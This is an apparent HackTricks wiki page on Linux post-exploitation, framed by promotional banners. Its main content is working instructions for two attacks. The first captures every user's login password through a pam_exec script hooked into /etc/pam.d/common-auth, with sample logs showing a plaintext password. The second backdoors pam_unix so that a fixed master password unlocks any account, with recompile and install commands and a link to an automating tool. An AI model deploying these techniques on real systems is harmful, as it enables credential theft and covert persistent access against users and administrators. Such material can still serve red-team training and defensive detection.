136 lines
5.8 KiB
Markdown
136 lines
5.8 KiB
Markdown
# Linux Post-Exploitation
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Sniffing Logon Passwords with PAM
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Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
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{% content-ref url="pam-pluggable-authentication-modules.md" %}
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[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
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{% endcontent-ref %}
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First, we create a bash script that will be invoked whenever a new authentication occurs.
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```bash
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#!/bin/sh
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echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
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```
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The variables are PAM specific and will become available via the `pam_exec.so` module.
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Here is the meaning of the variables:
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* **$PAM\_USER:** The username that was entered.
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* **$PAM\_RHOST:** The remote host (typically the IP Address)
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* **$(cat -):** This reads `stdin`, and will contain the password that the script grabs
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* The results are piped into a log file at `/var/log/toomanysecrets.log`
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To **prevent all users from reading** the file consider pre-creating it and running `chmod`, e.g.:
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```bash
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sudo touch /var/log/toomanysecrets.sh
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sudo chmod 770 /var/log/toomanysecrets.sh
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```
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Next, the PAM configuration file needs to be updated the `pam_exec` module will be used to invoke the script.
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There are various config files located in `/etc/pam.d/`, and we pick `common-auth`.
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```
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sudo nano /etc/pam.d/common-auth
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```
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On the very bottom of the file, add the following authentication module:
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`auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh`
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The options have the following meaning:
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* **optional:** Authenticaiton shouldn’t fail if there is an error (it’s not a required step)
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* **pam\_exec.so:** This is the living off the land PAM module that can invoke arbitrary scripts
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* **expose\_authtok:** This is the trick that allows to read the password via `stdin`
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* **quiet:** Don’t show any errors to the user (if something doesn’t work)
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* The last argument is the shell script that was created previously
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.png>)
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Finally, make the file executable:
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`sudo chmod 700 /usr/local/bin/toomanysecrets.sh`
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Now, let’s try this out and ssh from another machine, or login locally.
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And then look at the log file:
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```
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$ sudo cat /var/log/toomanysecrets.log
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Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
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Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
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Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
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```
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### Backdooring PAM
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Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam\_unix\_auth.c file:
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```
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vi modules/pam_unix/pam_unix_auth.c
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```
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.png>)
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Let’s change this by:
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 (2).png>)
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This will allow any user using the **password "0xMitsurugi"** to log in.
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Recompile the `pam_unix_auth.c`, end replace the pam\_unix.so file:
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```bash
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make
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sudo cp \
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/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
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/lib/x86_64-linux-gnu/security/
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```
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{% hint style="info" %}
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You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
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{% endhint %}
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## References
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* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
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* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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